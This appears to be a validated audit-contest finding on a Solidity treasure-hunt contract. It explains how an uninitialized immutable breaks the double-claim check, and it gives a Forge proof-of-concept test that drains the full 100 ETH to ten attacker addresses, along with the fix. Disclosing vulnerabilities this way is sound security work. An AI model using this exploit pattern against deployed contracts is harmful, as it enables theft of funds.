SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Dedup guard in `claim()` reads an uninitialized immutable; a single valid secret drains the full 100 ETH treasury

webrainsec

Description

TreasureHunt.claim() checks for double-claims at line 88 by reading claimed[_treasureHash]. _treasureHash is declared as bytes32 private immutable at line 35 but is never assigned in the constructor (lines 67-75). Solc 0.8.27 encodes zero at every read site for an unassigned immutable, so the guard permanently reads claimed[bytes32(0)], which cannot be flipped because the circuit rejects the zero hash. The write at line 104 correctly targets claimed[treasureHash] (the user-supplied parameter), so the guard and the write operate on different mapping slots. The dedup check is dead code, and claimsCount >= MAX_TREASURES is the only thing bounding losses to 100 ETH.

// line 35
bytes32 private immutable _treasureHash; // never assigned
​
// line 88
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // reads claimed[bytes32(0)]
​
// line 104
_markClaimed(treasureHash); // writes claimed[user hash]

Risk

Likelihood: near-certain. Any attacker with one valid secret produces 10 proofs for distinct recipients and submits them. Impact: complete loss of the 100 ETH prize pool.

The project's own test at contracts/test/TreasureHunt.t.sol:134-147 has vm.expectRevert() commented out at line 144 — the suite passes while double-claim succeeds, which is direct evidence of the bug on main.

Proof of Concept

Self-contained Forge test. No dependency on the generated Verifier.sol or fixture files; the verifier is mocked via vm.mockCall. Drop into contracts/test/ and run forge test --match-contract PoC_C01 -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {IVerifier} from "../src/Verifier.sol";
​
contract PoC_C01 is Test {
TreasureHunt hunt;
address mockVerifier = address(0xABCDEF);
bytes32 constant H = bytes32(uint256(1505662313093145631275418581390771847921541863527840230091007112166041775502)); // pedersen_hash([1])
​
function setUp() public {
vm.etch(mockVerifier, hex"00");
vm.deal(address(0xDEAD), 200 ether);
vm.prank(address(0xDEAD));
hunt = new TreasureHunt{value: 100 ether}(mockVerifier);
vm.mockCall(mockVerifier, abi.encodeWithSelector(IVerifier.verify.selector), abi.encode(true));
}
​
function test_oneSecretDrainsFullTreasury() public {
vm.startPrank(address(0xBAD));
for (uint256 i = 0; i < 10; i++) {
hunt.claim(hex"de", H, payable(address(uint160(0xA11CE0 + i))));
}
vm.stopPrank();
assertEq(address(hunt).balance, 0);
assertEq(hunt.claimsCount(), 10);
uint256 total;
for (uint256 i = 0; i < 10; i++) total += address(uint160(0xA11CE0 + i)).balance;
assertEq(total, 100 ether, "attacker-controlled addresses hold the full 100 ETH");
}
}

Actual result:

[PASS] test_oneSecretDrainsFullTreasury() (gas: 559800)

Slither's default detector also catches the root cause:

TreasureHunt._treasureHash (contracts/src/TreasureHunt.sol#35) is never initialized.
It is used in:
- TreasureHunt.claim(bytes,bytes32,address) (contracts/src/TreasureHunt.sol#83-112)

Recommended Mitigation

Read the function parameter instead of the uninitialized immutable, and delete the immutable so the naming collision cannot recur:

- bytes32 private immutable _treasureHash;
...
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Also restore the regression test:

// contracts/test/TreasureHunt.t.sol:144
- //vm.expectRevert();
+ vm.expectRevert(abi.encodeWithSelector(TreasureHunt.AlreadyClaimed.selector, treasureHash));
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!